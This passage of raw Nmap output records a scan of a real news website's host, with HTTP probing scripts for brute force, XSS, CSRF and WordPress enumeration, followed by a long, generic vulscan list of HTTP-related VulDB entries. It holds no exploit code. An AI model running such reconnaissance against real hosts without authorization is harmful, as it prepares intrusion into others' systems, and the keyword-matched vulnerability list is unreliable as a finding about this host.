7636Retrying OS detection (try #2) against www.alalamtv.net (192.99.38.90)
7637Initiating Traceroute at 22:38
7638Completed Traceroute at 22:38, 3.01s elapsed
7639Initiating Parallel DNS resolution of 7 hosts. at 22:38
7640Completed Parallel DNS resolution of 7 hosts. at 22:38, 0.16s elapsed
7641NSE: Script scanning 192.99.38.90.
7642Initiating NSE at 22:38
7643Completed NSE at 22:38, 24.23s elapsed
7644Initiating NSE at 22:38
7645Completed NSE at 22:38, 0.55s elapsed
7646Nmap scan report for www.alalamtv.net (192.99.38.90)
7647Host is up (0.030s latency).
7648rDNS record for 192.99.38.90: ns502056.ip-192-99-38.net
7649
7650PORT STATE SERVICE VERSION
765180/tcp open http-proxy Varnish http accelerator
7652| http-brute:
7653|_ Path "/" does not require authentication
7654|_http-chrono: Request times for /; avg: 242.73ms; min: 160.41ms; max: 406.92ms
7655|_http-csrf: Couldn't find any CSRF vulnerabilities.
7656|_http-date: Mon, 25 Nov 2019 03:38:12 GMT; -1s from local time.
7657|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
7658|_http-dombased-xss: Couldn't find any DOM based XSS.
7659|_http-drupal-enum: Nothing found amongst the top 100 resources,use --script-args number=<number|all> for deeper analysis)
7660|_http-errors: Couldn't find any error pages.
7661|_http-feed: Couldn't find any feeds.
7662|_http-fetch: Please enter the complete path of the directory to save data in.
7663| http-headers:
7664| Date: Mon, 25 Nov 2019 03:38:15 GMT
7665| Server: Varnish
7666| X-Varnish: 740905129
7667| Location: https://www.alalamtv.net/
7668| Content-Length: 170
7669| Connection: close
7670|
7671|_ (Request type: GET)
7672|_http-jsonp-detection: Couldn't find any JSONP endpoints.
7673| http-methods:
7674|_ Supported Methods: GET HEAD POST OPTIONS
7675|_http-mobileversion-checker: No mobile version detected.
7676|_http-open-proxy: Proxy might be redirecting requests
7677|_http-passwd: ERROR: Script execution failed (use -d to debug)
7678|_http-security-headers:
7679|_http-server-header: Varnish
7680| http-sitemap-generator:
7681| Directory structure:
7682| Longest directory structure:
7683| Depth: 0
7684| Dir: /
7685| Total files found (by extension):
7686|_
7687|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
7688|_http-title: Did not follow redirect to https://www.alalamtv.net/
7689| http-vhosts:
7690|_127 names had status 301
7691|_http-wordpress-enum: Nothing found amongst the top 100 resources,use --script-args search-limit=<number|all> for deeper analysis)
7692|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
7693|_http-xssed: No previously reported XSS vuln.
7694| vulscan: VulDB - https://vuldb.com:
7695| [141219] Varnish Cache up to 6.0.3 LTS/6.1.x/6.2.0 HTTP1 Parser Request Restart denial of service
7696| [109484] Varnish HTTP Cache up to 4.1.8/5.2.0 cache_fetch.c vbf_stp_error information disclosure
7697| [104823] Varnish HTTP Cache up to 4.0.4/4.1.7/5.1.2 Integer Overflow denial of service
7698| [82826] Varnish up to 3.0.6 HTTP Request CRLF privilege escalation
7699| [49716] Sun OpenSolaris up to Snv 85 Accelerator nl7c_http_log denial of service
7700| [141903] OpenConnect up to 8.04 process_http_response memory corruption
7701| [141896] wp-cerber Plugin up to 2.6 on WordPress HTTP Header cross site scripting
7702| [141853] Dolibarr 10.0.1 HTTP Header htdocs/societe/card.php cross site scripting
7703| [141818] dwnldr Plugin up to 1.00 on WordPress HTTP Header cross site scripting
7704| [141526] Couchbase Server 5.1.2/5.5.0 HTTP Server Port 8092 cross site scripting
7705| [141475] LimeSurvey up to 3.17.13 Cookie httponly privilege escalation
7706| [141392] Silver Peak EdgeConnect SD-WAN up to 8.1.6.x Web Interface HTTP Traffic Slow denial of service
7707| [141339] D-Link DIR-806 HTTP Header Shell privilege escalation
7708| [141337] pecl-http extension up to 2.6.0beta2/3.1.0beta2 php_http_params.c merge_param() HTTP Requests memory corruption
7709| [141321] IBM Jazz for Service Management 1.1.3 Cache HTTP GET Request Header Injection privilege escalation
7710| [141293] JetBrains TeamCity 2019.1/2019.1.1 HTTP Request cross site scripting
7711| [141275] Cisco Industrial Network Director Plug-and-Play Service HTTP Request information disclosure
7712| [141159] Mulesoft/Mulesoft API Gateway APIkit/http-connector/OAuth2 Provider directory traversal
7713| [141111] Cisco NX-OS NX-API Service HTTP Request Restart denial of service
7714| [141062] WebTorrent up to 0.107.5 HTTP Server cross site scripting
7715| [141001] Cisco IOS XE REST API Virtual Service Container HTTP Requests weak authentication
7716| [140999] Splunk Plugin up to 1.7.4 on Jenkins HTTP Endpoint Code Execution
7717| [140737] Swoole up to 4.2.12 swPort_http_static_handler directory traversal
7718| [140702] HTTPie Open Redirect
7719| [140563] Cisco Integrated Management Controller Web Server HTTP Request privilege escalation
7720| [140562] Cisco Integrated Management Controller Web Server HTTP Request Crash denial of service
7721| [140555] Cisco Integrated Management Controller Web-based Management Interface HTTP Request privilege escalation
7722| [140106] HTTP2 up to 2.4.39 Push Request Crash denial of service
7723| [140085] McAfee Web Gateway up to 7.8.2.11 X-Frame-Options HTTP Header Clickjacking cross site scripting
7724| [140052] SAP Enable Now 1902 Session Cookie httponly privilege escalation
7725| [140050] SAP Gateway 750/751/752/753 OData Request HTTP Header information disclosure
7726| [140013] HTTP2 Empty Frame Flooding denial of service
7727| [140012] HTTP2 Reset Request Flooding denial of service
7728| [140011] HTTP2 Loop Request CPU Exhaustion denial of service
7729| [140010] HTTP2 Ping Flooding denial of service
7730| [140009] HTTP2 Window Size Request denial of service
7731| [140008] HTTP2 Data Buffer denial of service
7732| [140007] HTTP2 Header denial of service
7733| [140006] HTTP2 SETTING Frame Flooding denial of service
7734| [139986] UniSign up to 2.0.4.0 HTTPS Packet Stack-based memory corruption
7735| [139972] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
7736| [139971] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
7737| [139970] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
7738| [139969] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
7739| [139968] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
7740| [139684] Cisco WebEx Meetings Server Web-based Management Interface HTTP Request privilege escalation
7741| [139676] go-camo up to 1.1.4 Internal Endpoint HTTP Requests Server-Side Request Forgery
7742| [139665] Cisco ASA Web-based Management Interface HTTPS Request privilege escalation
7743| [139641] Relution Enterprise Appstore Publisher Plugin up to 1.24 on Jenkins Permission Check HTTP privilege escalation
7744| [139574] MicroDigital N-Series Camera up to 6400.0.8.5 httpd upload.php Filename memory corruption
7745| [139570] MicroDigital N-Series Camera up to 6400.0.8.5 httpd sql injection
7746| [139568] MicroDigital N-Series Camera up to 6400.0.8.5 HTTPD Parameter Time-Based information disclosure
7747| [139567] MicroDigital N-Series Camera up to 6400.0.8.5 HTTPD Parameter OS Command Injection privilege escalation
7748| [139564] Shenzhen 2.3 HTTP Parameter Pollution weak authentication
7749| [139544] cPanel up to 60.0.24 HTTP POST weak encryption
7750| [139540] cPanel up to 60.0.24 Apache HTTP Server Key information disclosure
7751| [139448] Magento up to 2.1.17/2.2.8/2.3.1 Metadata HTTP Request information disclosure
7752| [139239] cPanel up to 70.0.22 Apache HTTP Server Log information disclosure
7753| [139130] cPanel up to 73.x Apache HTTP Server Injection privilege escalation
7754| [139050] http-file-server cross site scripting
7755| [139049] min-http-server cross site scripting
7756| [139029] IBM WebSphere Application Server Liberty Admin Center HTTP Request Clickjacking privilege escalation
7757| [138958] Amcrest IP2M-841B V2.520.AC00.18.R HTTP Endpoint /videotalk weak authentication
7758| [138915] PrinterOn Central Print Services up to 4.1.4 HTTP GET Request information disclosure
7759| [138851] MikroTik RouterOS up to 6.44.4 HTTP Server HTTP Request Memory Exhaustion denial of service
7760| [138850] MikroTik RouterOS up to 6.44.4 HTTP Server HTTP Request Memory Exhaustion denial of service
7761| [138824] Proxygen HTTP Header Crafted Packet Out-of-Bounds memory corruption
7762| [138749] marginalia up to 1.5 User Controller HTTP Parameter sql injection
7763| [138505] Mozilla Firefox up to 67.x HTTP Alternative Services Header Portscan privilege escalation
7764| [138492] Mozilla Firefox/Thunderbird/Firefox ESR HTTP2 Cache Use-After-Free denial of service
7765| [138472] Mozilla Firefox/Thunderbird/Firefox ESR XMLHttpRequest Use-After-Free denial of service
7766| [138466] OSS Http Request 6 on Cordova SSL Certificate Validator spoofing
7767| [138465] Linagora Hublin 72ead897082403126bf8df9264e70f0a9de247ff HTTP Request directory traversal
7768| [138418] Linux Foundation ONOS up to 1.15.0 YangLiveCompilerManager.java runJavaCompiler HTTP Request privilege escalation
7769| [138379] ZeroShell 3.9.0 Web Application HTTP Parameter OS Command Injection privilege escalation
7770| [138300] Synetics i-doit up to 1.12 HTTP POST Request sql injection
7771| [138299] MailCleaner NewslettersController.php allowAction() HTTP GET Request information disclosure
7772| [138278] Cisco Small Business 200 Series Switch Web Interface HTTP Request Open Redirect
7773| [138271] Cisco Vision Dynamic Signage Director REST API HTTP Requests weak authentication
7774| [138242] FANUC Robotics Virtual Robot Controller 8.23 Remote Admin Webserver HTTP Request memory corruption
7775| [138241] FANUC Robotics Virtual Robot Controller 8.23 HTTP Request directory traversal
7776| [138214] CentOS-WebPanel.com CentOS Web Panel 0.9.8.846 Login HTTP Response Username information disclosure
7777| [138146] Oracle Sun ZFS Storage Appliance Kit (AK) 8.8.3 HTTP data path subsystems unknown vulnerability
7778| [138129] Oracle Retail Xstore Point of Service 7.0/7.1 Apache HTTP Server denial of service
7779| [138025] Oracle HTTP Server 12.1.3.0.0/12.2.1.3.0 jQuery information disclosure
7780| [138012] Oracle Outside In Technology 8.5.4 Apache HTTP Server unknown vulnerability
7781| [138009] Oracle Outside In Technology 8.5.4 Apache HTTP Server unknown vulnerability
7782| [137967] Oracle up to 8.0.7 Apache httpd unknown vulnerability
7783| [137911] Oracle E-Business Suite up to 12.2.8 Apache HTTP Server unknown vulnerability
7784| [137901] Oracle Primavera Unifier up to 18.8 Apache HTTP Server unknown vulnerability
7785| [137860] PluckCMS up to 4.7.4 File Upload data/inc/images.php HTTP Request privilege escalation
7786| [137850] http-file-server up to 0.2.6 on NPM directory traversal
7787| [137804] Python up to 3.7.2 Domain Validator Lib/http/cookiejar.py http.cookiejar.DefaultPolicy.domain_return_ok Hostname privilege escalation
7788| [137767] Squid Proxy up to 2.7.STABLE9/3.5.28/4.7 HTTP Header Authorization Header memory corruption
7789| [137766] Squid Proxy up to 4.7.0 HttpHeader::getAuth Header memory corruption
7790| [137743] Juniper Junos on SRX srxpfe HTTP Packet Crash denial of service
7791| [137699] Mongoose 6.15 mongoose.c mq_parse_http memory corruption
7792| [137667] eQ-3 Homematic CCU2/Homematic CCU3 ReGa ise GmbH HTTP-Server Code Execution memory corruption
7793| [137420] Cisco Small Business 200 Managed Switch Management Web Interface HTTPS Packet memory corruption
7794| [137377] Cisco Web Security Appliance HTTPS Decryption Restart denial of service
7795| [137376] Cisco AsyncOS Web Proxy Function HTTP/HTTPS Request denial of service
7796| [137322] F5 BIG-IP up to 14.1.0.5 iControl REST Endpoint HTTP Request Loop denial of service
7797| [137315] F5 BIG-IP up to 11.6.4 iRules HTTP Header denial of service
7798| [137282] JetBrains IntelliJ IDEA Gradle Artifact Resolver HTTP weak encryption
7799| [137281] JetBrains Ktor Framework up to 1.0.x Artifact Resolver HTTP weak encryption
7800| [137280] JetBrains Kotlin up to 1.3.29 Build HTTP weak encryption
7801| [137260] Moxa OnCell G3100-HSPA up to 1.6 Build 17100315 Monitoring Protocol HTTP weak encryption
7802| [137243] Amcrest IPM-721S Amcrest_IPC-AWXX_Eng_N_V2.420.AC00.17.R.20170322 HTTP API HTTP Requests Stack-based memory corruption
7803| [137173] D-Link DCS-1100/DCS-1130 HTTP Management Interface /sbin RTSP Connection weak authentication
7804| [137171] Blipcare BP700 10.1 Wireless Network HTTP Request memory corruption
7805| [137169] Blipcare Device Web Management Interface HTTP weak encryption
7806| [137115] Django up to 1.11.21/2.1.9/2.2.2 HTTP Request Redirect weak encryption
7807| [137109] Exiv2 up to 0.27.1 HTTP Server http.c Response denial of service
7808| [137093] Synology Calendar up to 2.3.1 HTTP Header drivers_syno_import_user.php Command privilege escalation
7809| [137024] ABB IDAL HTTP Server /cgi/loginDefaultUser GET Request weak authentication
7810| [137014] Google Chrome XMLHttpRequest HTML Page Cross-Origin information disclosure
7811| [136928] Cisco Data Center Network Manager Web-based Management Interface HTTP Request weak authentication
7812| [136885] IBM API Connect up to 5.0.8.6 HTTP Requests information disclosure
7813| [136872] LiveZilla Server up to 8.0.1.0 mobile/index.php HTTP Header cross site scripting
7814| [136867] IBM API Connect up to 2018.4.1.5 HTTP Request information disclosure
7815| [136858] MakerBot Replicator 5G Printer Apache HTTP Server information disclosure
7816| [136854] ABB IDAL HTTP Server Host Header memory corruption
7817| [136783] b3log Solo 2.9.3 Publish Articles Menu HTTP Request Stored cross site scripting
7818| [136781] TP-LINK WR1043ND 3 HTTPd Server MediaServerFoldersCfgRpm.htm memory corruption
7819| [136780] Sophos XG Firewall 17.0.8 MR-8 API Configuration APIController HTTP Header privilege escalation
7820| [136741] Cisco RV110W/RV130W/RV215W HTTP Request information disclosure
7821| [136740] Cisco RV110W/RV130W/RV215W Web-based Management Interface HTTP Request information disclosure
7822| [136736] Cisco Wide Area Application Services HTTPS Proxy Connection Request privilege escalation
7823| [136731] Cisco RV110W Wireless-N VPN Firewall Web-based Management Interface HTTP Requests denial of service
7824| [136729] Cisco Integrated Management Controller Web-based Management Interface HTTP Request information disclosure
7825| [136724] Cisco SD-WAN Solution vManage Web-based UI HTTP Requests privilege escalation
7826| [136609] Netdata 1.10.0 HTTP Header web/api/web_api_v1.c privilege escalation
7827| [136584] IBM Cognos Controller 10.2.0/10.2.1/10.3.0/10.3.1/10.4.0 HTTP Method Bypass privilege escalation
7828| [136582] IBM Cognos Controller 10.2.0/10.2.1/10.3.0/10.3.1/10.4.0 HTTP Method HTTP Request information disclosure
7829| [136513] EmbedThis GoAhead up to 4.1.0/5.0.0 Header Parsing http.c memory corruption
7830| [136512] Eclipse Buildship up to 3.1.0 HTTP weak encryption
7831| [136374] Apache HTTP Server up to 2.4.38 Slash Regular Expression unknown vulnerability
7832| [136373] Apache HTTP Server 2.4.34/2.4.35/2.4.36/2.4.37/2.4.38 HTTP2 Request Crash denial of service
7833| [136372] Apache HTTP Server up to 2.4.38 HTTP2 Request unknown vulnerability
7834| [136250] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_free_proto_data_cgi memory corruption
7835| [136249] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_free_proto_data_cgi memory corruption
7836| [136248] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_get_proto_data memory corruption
7837| [136247] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_get_proto_data memory corruption
7838| [136245] Starry Station HTTP API JSON Payload PIN weak authentication
7839| [136242] Twisted up to 19.2.0 twisted.web HTTP Method privilege escalation
7840| [136206] Moxa AWK-3121 1.14 Session Cookie httponly information disclosure
7841| [136204] Munica Web Server 1.14 Communication HTTP Traffic unknown vulnerability
7842| [136203] Gemalto Admin Control Center up to 7.91 Cookie httponly information disclosure
7843| [136020] Gardener up to 0.19.x Access Control HTTP GET Request information disclosure
7844| [136019] GrandNode 4.40 LetsEncryptController.cs LetsEncryptController HTTP Requests directory traversal
7845| [135863] AUO Solar Data Recorder up to 1.2.x HTTP Basic Authentication weak authentication
7846| [135862] Cyrus IMAP Server up to 2.5.12/3.0.9 httpd privilege escalation
7847| [135959] Fortinet FortiOS 6.0.0/6.0.1/6.0.2/6.0.3/6.0.4 SSL VPN Web Portal HTTP Requests Reflected cross site scripting
7848| [135957] Fortinet FortiOS up to 6.0.4 SSL VPN Web Portal HTTP Requests Reflected cross site scripting
7849| [135936] Fortinet FortiOS up to 6.0.4 SSL VPN Web Portal HTTP Requests Password privilege escalation
7850| [135364] Emerson Network Power Liebert Challenger 5.1E0.5 httpGetSet/httpGet.htm Parameter cross site scripting
7851| [135261] GoHTTP up to 2017-07-25 Header Stack-based memory corruption
7852| [135220] IBM Cloud Private Kubernetes API Server 2.1.0/3.1.0/3.1.1/3.1.2 HTTP Proxy unknown vulnerability
7853| [135214] GoHTTP up to 2017-07-25 sendHeader memory corruption
7854| [135213] GoHTTP up to 2017-07-25 scan Long URL memory corruption
7855| [135212] GoHTTP up to 2017-07-25 Extension GetExtension memory corruption
7856| [135159] Symfony up to 2.7.50/2.8.49/3.4.25/4.1.11/4.2.6 http-foundation HTTP Method privilege escalation
7857| [135142] Cisco AnyConnect Secure Mobility Client on Linux HostScan HTTP Traffic information disclosure
7858| [135141] Cisco Identity Services Engine ERS API HTTP Request privilege escalation
7859| [135136] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request SQL privilege escalation
7860| [135135] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request SQL privilege escalation
7861| [135131] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
7862| [135130] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
7863| [135129] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
7864| [135014] Kyocera TASKalfa 4002i/TASKalfa 6002i DoBox_CstmBox_Info.model.htm HTTP Request information disclosure
7865| [134849] Apple macOS up to 10.14.4 IOAcceleratorFamily memory corruption
7866| [134652] LG GAMP-7100/GAPM-7200/GAPM-8000 Log File gapm7100_${today's_date}.log HTTP Request information disclosure
7867| [134638] Anker Roav A1 Dashcam RoavA1SWV1.9 HTTP Server HTTP POST Request privilege escalation
7868| [134632] Anker Roav A1 Dashcam RoavA1SWV1.9 HTTP Server HTTP PUT Request Firmware privilege escalation
7869| [134604] Seagate NAS OS 4.3.15.1 Session Cookie httponly privilege escalation
7870| [134596] University of Cambridge mod_ucam_webauth up to 2.0.1 HTTP Response directory traversal
7871| [134584] NetApp OnCommand Insight up to 7.3.4 HTTP Security Header information disclosure
7872| [134583] NetApp OnCommand Unified Manager up to 9.4 HTTP Security Header information disclosure
7873| [134582] NetApp OnCommand Unified Manager up to 5.2.3 HTTP Security Header information disclosure
7874| [134565] IBM Cloud App Management V2018.2.0/V2018.4.0/V2018.4.1 HTTP Request information disclosure
7875| [134511] Master IPCAMERA01 3.3.4.2103 thttpd privilege escalation
7876| [134458] Hisilicon HI3516 RTSP HTTP Packet memory corruption
7877| [134433] Sierra Wireless AirLink ES450 4.9.3 ACEManager EmbeddedAceSet_Task.cgi HTTP Request privilege escalation
7878| [134428] Sierra Wireless AirLink ES450 4.9.3 ACEManager HTTP Request Config information disclosure
7879| [134427] Sierra Wireless AirLink ES450 4.9.3 ACEManager template_load.cgi HTTP Request information disclosure
7880| [134426] Sierra Wireless AirLink ES450 up to 4.9.3 ACEManager HTTP Request cross site request forgery
7881| [134424] Sierra Wireless AirLink ES450 4.9.3 Webserver upload.cgi HTTP Request Code Execution
7882| [134422] Sierra Wireless AirLink ES450 4.9.3 ACEManager iplogging.cgi HTTP Request command injection
7883| [134390] Xtext/Xtend up to 2.17.x Built Artifact HTTP weak encryption
7884| [134366] Cisco Expressway Management Web Interface HTTP Request directory traversal
7885| [134361] Cisco Web Security Appliance Web Proxy Function HTTPS Request Restart denial of service
7886| [134356] Cisco Small Business RV320/Small Business RV325 Web-based Interface HTTP Request Session Hijacking weak authentication
7887| [134292] Rockwellautomation Armor Compact GuardLogix 5370 Web Server HTTP/HTTPS Request Stack-based memory corruption
7888| [134283] Crestron AM-100/AM-101 Slie Show conference.cgi HTTP POST Request privilege escalation
7889| [134282] Crestron AM-100/AM-101 login.cgi HTTP POST Request information disclosure
7890| [134279] Crestron AM-100/AM-101 cURL return.cgi HTTP Requests privilege escalation
7891| [134277] Crestron AM-100/AM-101 HTTP Endpoint file_transfer.cgi System Command command injection
7892| [134105] SimplyBook.me Enterprise Administrative Management Interface /v2/rest/ HTTP PUT Request privilege escalation
7893| [134104] SimplyBook.me Enterprise Password Reset Link HTTP GET Request privilege escalation
7894| [134035] Pivotal Apps Manager up to 665.0.27/666.0.20/667.0.6 Invitation Service HTTP weak encryption
7895| [134026] Jakub Chodounsky Bonobo Git Server up to 6.4.x GitController HTTP Request privilege escalation
7896| [134018] Deltek Vision up to 7.6 RPC over HTTP SQL privilege escalation
7897| [133994] Hisilicon HI3510 Web Management Portal HTTP Request Credentials information disclosure
7898| [133960] Tildeslash Monit up to 5.25.2 HTTP Basic Authentication http/cervlet.c _viewlog Authorization Header cross site scripting
7899| [133823] OkHttp up to 3.12 Certificate Pinning CertificatePinner.java weak authentication
7900| [133815] Cisco DNA Center up to 1.2.4 Software Image Management HTTP Requests weak authentication
7901| [133387] Xerox ColorQube 9303 on Linux HTTP Request OS Command Injection privilege escalation
7902| [133368] JFrog Artifactory 6.7.3 HTTP Header Password Reset privilege escalation
7903| [133330] lighttpd up to 1.4.53 burl.c burl_normalize_2F_to_slash_fix HTTP GET Request memory corruption
7904| [133328] WebKitGTK/WPE WebKit up to 2.24.0 HTTP Proxy Setting Deanonymization information disclosure
7905| [133315] Apache Airflow up to 1.10.2 HTTP Endpoint cross site request forgery
7906| [133290] Apache Tomcat up to 8.5.37/9.0.14 HTTP2 Stream Execution denial of service
7907| [133277] TIBCO ActiveMatrix BusinessWorks up to 6.4.2 HTTP Connector HTTP Requests privilege escalation
7908| [133112] Apache HTTP Server up to 2.4.38 mod_auth_digest race condition privilege escalation
7909| [133111] Apache HTTP Server 2.4.37/2.4.38 mod_ssl Bypass privilege escalation
7910| [133105] IBM Cloud Private 3.1.0/3.1.1 HTTP Host Header cross site scripting
7911| [133103] IBM Business Automation Workflow 18.0.0.0/18.0.0.1/18.0.0.2 HTTP Request information disclosure
7912| [133099] Hanwha Techwin SRN-4000/SRN-4000 Management Page HTTP Request weak authentication
7913| [132823] http-live-simulator 1.0.5 on npm directory traversal
7914| [132709] IBM InfoSphere Information Server 11.3/11.5/11.7 HTTP Request unknown vulnerability
7915| [132588] Node.js up to 6.16.x/8.15.0/10.15.1/11.10.0 HTTP Connection Header denial of service
7916| [132587] Node.js up to 6.16.x/8.15.0/10.15.1/11.10.0 HTTP Connection Header Slowloris denial of service
7917| [132535] Cisco IOS XE Web Services Management Agent HTTP Requests privilege escalation
7918| [132454] mod_auth_mellon up to 0.14.1 HTTP Header Bypass weak authentication
7919| [132230] Green Hills INTEGRITY RTOS 5.0.4 Interpeak IPWEBS HTTP Header Stack-based memory corruption
7920| [132106] PowerDNS Authoritative Server up to 4.0.6/4.1.6 HTTP Connector HTTP Request privilege escalation
7921| [132036] Sricam IP CCTV Camera Web Server HTTP Requests Flooding denial of service
7922| [131984] CUJO Smart Firewall 7003 Safe Browsing HTTP Requests Bypass privilege escalation
7923| [131943] Teracue ENC-400 up to 2.56 HTTP Endpoint weak authentication
7924| [131921] Webgalamb up to 7.0 HTTP Header subscriber.php sql injection
7925| [131916] Wowza Streaming Engine 4.7.4.01 REST API HTTP Request directory traversal
7926| [131878] shellinabox up to 2.20 HTTP Request Parser libhttp/url.c denial of service
7927| [131857] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
7928| [131856] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
7929| [131855] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
7930| [131795] Openwsman up to 2.6.9 process_connection() HTTP Requests denial of service
7931| [131794] Openwsman up to 2.6.9 openwsmand HTTP Request File directory traversal
7932| [131768] IBM Jazz Foundation up to 5.x/6.0.6 HTTP Header Injection privilege escalation
7933| [131689] Google Go 1.11.5 net-http HTTP Header CRLF privilege escalation
7934| [131615] Python up to 2.7.16/3.7.2 urllib/urllib2 urllib.request.urlopen HTTP Header privilege escalation
7935| [131565] Cisco NX-OS NX-API HTTPS Packet command injection
7936| [131479] Apache Solr up to 7.6 HTTP GET Request Server-Side Request Forgery
7937| [131446] Apache Solr up to 5.0.5/6.6.5 Config API HTTP POST Request Code Execution
7938| [131426] zzcms 8.3 /user/logincheck.php HTTP Header sql injection
7939| [131340] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 /GponForm/fsetup_Form HTTP POST Request memory corruption
7940| [131339] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 HTTP POST Request memory corruption
7941| [131338] Alcatel-Lucent I-240W-Q GPON ONT HTTP Request command injection
7942| [131337] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 HTTP Request command injection
7943| [131335] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 telnetd HTTP Request privilege escalation
7944| [131262] Cisco RV110W Wireless-N VPN Firewall Web-based Management Interface HTTP Requests privilege escalation
7945| [131173] D-Link DIR-878 1.12B01 HTTP Header strncpy memory corruption
7946| [131096] Netis WF2880/WF2411 2.1.36123 HTTP Header /bin/boa GET Request memory corruption
7947| [131072] IBM Security Identity Governance and Intelligence up to 5.2.4.1 Token httponly weak encryption
7948| [130967] PHPMyWind 5.5 admin/default.php HTTP Host Header cross site scripting
7949| [130922] Amazon Fire OS up to 5.3.6.3 HTTP Requests Man-in-the-Middle weak encryption
7950| [130870] UA-Parser UAP-Core up to 0.5.x regex.yaml HTTP Header denial of service
7951| [130752] Live555 0.95 Content-Length Header handleRequestBytes HTTP Header memory corruption
7952| [130692] ABBYY FlexiCapture 12 Release 1 HTTP API Parameter sql injection
7953| [130618] libcURL up to 7.63.x lib/vauth/ntlm.c Curl_auth_create_ntlm_type3_message HTTP Header memory corruption
7954| [130675] Kunbus PR100088 Modbus Gateway up to R02 HTTP weak encryption
7955| [130464] Helm ChartMuseum up to 0.8.0 HTTP API POST Request directory traversal
7956| [130388] http-live-simulator up to 1.0.6 URL directory traversal
7957| [130341] Apache HTTP Server 2.4.37 mod_ssl Loop denial of service
7958| [130330] Apache HTTP Server up to 2.4.37 mod_session Expired privilege escalation
7959| [130329] Apache HTTP Server 2.4.37 mod_http2 Slowloris denial of service
7960| [130257] pypiserver up to 1.2.5 HTTP Header CRLF privilege escalation
7961| [130251] Cisco SocialMiner Web-based User Interface HTTP Request cross site scripting
7962| [130245] Cisco RV320/RV325 Web-based Management Interface HTTP POST Request Command privilege escalation
7963| [130239] Cisco Connected Mobile Experiences API HTTP GET Request privilege escalation
7964| [130127] Cisco Identity Services Engine Administrative Web Interface HTTP Request privilege escalation
7965| [129977] Axway File Transfer Direct 2.7.1 HTTP GET Request directory traversal
7966| [129717] Oracle Secure Global Desktop 5.4 Apache HTTP Server denial of service
7967| [129573] Oracle WebLogic Server 10.3.6.0 Apache HTTP Server denial of service
7968| [129474] Oracle Communications Diameter Signaling Router up to 8.2 Apache HTTP Server information disclosure
7969| [129765] Juniper Junos on SRX HTTP Crash denial of service
7970| [129762] Juniper Junos Packet Forwarding Engine HTTP Packet Pointer Dereference denial of service
7971| [129148] LIVE555 Streaming Media 0.93 RTSPServer GroupsockHelper.cpp handleHTTPCmd_TunnelingPOST denial of service
7972| [128801] Cisco IOS/IOS XE TCP Socket HTTP Requests Reload denial of service
7973| [128981] McAfee Web Gateway 7.8.2.0 HTTP Request denial of service
7974| [128892] i-filter up to 9.50R05 HTTP Response Splitting privilege escalation
7975| [128836] Cybozu Dezie up to 8.1.2 HTTP Requests directory traversal
7976| [128834] Cybozu Office up to 10.8.1 HTTP Requests directory traversal
7977| [128831] Seiko Epson PX-S860 HTTP Header Header Injection privilege escalation
7978| [128809] Aterm W300P up to 1.0.13 HTTP Request memory corruption
7979| [128806] Aterm W300P up to 1.0.13 HTTP Request OS Command Injection privilege escalation
7980| [128805] Aterm WG1200HP up to 1.0.31 HTTP Request OS Command Injection privilege escalation
7981| [128691] Webroot BrightCloud SDK Header bc_http_read_header HTTP Header memory corruption
7982| [128680] MiniShare up to 1.4.1 HTTP POST Request memory corruption
7983| [128679] MiniShare up to 1.4.1 HTTP HEAD Request memory corruption
7984| [128607] Proxygen HTTP2 Parser Header/Trailer denial of service
7985| [128606] Proxygen HTTP2 Priority Setting denial of service
7986| [128541] NuttX up to 7.26 netlib_parsehttpurl.c netlib_parsehttpurl() denial of service
7987| [128368] Cisco ASA Web Management Interface HTTP Requests privilege escalation
7988| [128229] Logitech Harmony Hub up to 4.15 HTTP Request command injection
7989| [128204] WebID 1.2.2 getthumb.php HTTP GET Request directory traversal
7990| [128189] WebID 1.2.2 HTTP Request Blind sql injection
7991| [128171] Zend.To up to 5.15 verify.php HTTP POST Request cross site scripting
7992| [128146] aio-libs aiohttp-session up to 2.6.0 EncryptedCookieStorage/NaClCookieStorage Cookie weak authentication
7993| [128100] Webroot BrightCloud SDK HTTP Client TLS Certificate weak encryption
7994| [127994] WordPress up to 5.0.0 on Apache httpd MIME Restriction cross site scripting
7995| [127981] Apache OFBiz 16.11.01/16.11.02/16.11.03/16.11.04 HTTP Engine httpService GET Request privilege escalation
7996| [127898] IBM BigFix Platform up to 9.5.9 Cookie httponly privilege escalation
7997| [127895] IBM BigFix Platform up to 9.5.9 HTTP Response Splitting privilege escalation
7998| [127877] SAP NetWeaver AS JAVA up to 7.50 Web Container HTTP Host Header cross site scripting
7999| [127866] urllib3 up to 1.22 Authorization HTTP Header Credentials information disclosure
8000| [127656] Moxa NPort W2x50A up to 2.1 Web Server webSettingProfileSecurity HTTP POST Request privilege escalation
8001| [127655] Moxa NPort W2x50A up to 2.1 Web Server net_WebPingGetValue HTTP POST Request privilege escalation
8002| [127532] IBM Maximo Asset Management 7.6 HTTP Request Username information disclosure
8003| [127456] simplehttpserver up to 0.2.1 directory traversal
